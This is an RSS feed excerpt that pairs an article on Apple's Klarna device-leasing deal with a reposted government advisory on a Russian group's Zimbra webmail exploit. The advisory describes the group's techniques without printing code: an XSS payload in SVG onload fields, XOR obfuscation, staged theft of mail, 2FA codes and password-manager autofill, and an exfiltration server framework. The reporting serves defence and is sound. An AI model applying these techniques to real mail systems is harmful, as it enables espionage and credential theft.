<description><![CDATA[Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread a...]]></description>
<link>https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to <a href="https://www.reuters.com/business/apple-launch-upgrade-device-leasing-program-spur-sales-bloomberg-news-reports-2026-07-21/" target="_blank" rel="noreferrer noopener">launch its new deal</a> with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.</p>



<p class="wp-block-paragraph">This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.</p>



<h2 class="wp-block-heading"><strong>Moving closer to hardware-as-a-service</strong></h2>



<p class="wp-block-paragraph">Apple has slowly been <a href="https://www.applemust.com/opinion-how-you-will-access-apple-products-in-future/#google_vignette" target="_blank" rel="noreferrer noopener">transitioning toward</a> hardware-as-a-service for almost a decade. Back then, Forrester analyst <a href="https://www.applemust.com/apple-klarna-mean-we-can-now-get-apple-as-a-service/" target="_blank" rel="noreferrer noopener">Frank Gillet predicted</a> the company would eventually offer bundles of services and products for a monthly, all-in, fee. </p>



<p class="wp-block-paragraph">This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.</p>



<p class="wp-block-paragraph">There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. </p>



<h2 class="wp-block-heading"><strong>Easy payments for RAM-ageddon</strong></h2>



<p class="wp-block-paragraph">The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has <a href="https://www.bloomberg.com/news/newsletters/2025-04-06/will-apple-raise-iphone-prices-in-the-us-after-trump-tariffs-iphone-17-details" target="_blank" rel="noreferrer noopener">previously rejected these plans</a> to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.</p>



<p class="wp-block-paragraph">“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by <em>Computerworld</em>. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” </p>



<h2 class="wp-block-heading"><strong>New age, new shopping habits</strong></h2>



<p class="wp-block-paragraph">The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s <a href="https://www.businessinsider.com/general-motors-gm-earnings-subscriptions-revenue-business-2026-1" target="_blank" rel="noreferrer noopener">good enough for GM</a>, it’s good enough for Apple.</p>



<p class="wp-block-paragraph">It’s all about attitude, too. From Apple’s perspective, it <a href="https://www.computerworld.com/article/4125784/are-you-ready-for-apple-as-a-service.html">has done plenty of the groundwork</a> required to <a href="https://www.applemust.com/apple-vp-eddy-cue-shares-15-important-apple-services-stats/" target="_blank" rel="noreferrer noopener">convince its customers</a> that subscription payments for things you value are no bad thing. </p>



<p class="wp-block-paragraph">Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and <a href="https://www.computerworld.com/article/1665439/apples-tim-cook-has-kept-his-50b-services-promises.html">CEO Tim Cook</a> — first began <a href="https://www.applemust.com/apples-50b-services-target-just-isnt-ambitious-enough/">banging the drum</a> for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">more than 2.5 billion devices globally</a>.</p>



<p class="wp-block-paragraph">A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. </p>



<p class="wp-block-paragraph">There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but <a href="https://medium.com/from-heart-to-hand/the-subscription-society-what-happens-when-you-own-nothing-ef32d5bc32d2" target="_blank" rel="noreferrer noopener">probably can’t afford to own</a>.</p>



<h2 class="wp-block-heading"><strong>Managing future risk</strong></h2>



<p class="wp-block-paragraph">The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but <a href="https://www.bbc.co.uk/news/articles/c255y82y9x8o" target="_blank" rel="noreferrer noopener">abandoned that plan</a> as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
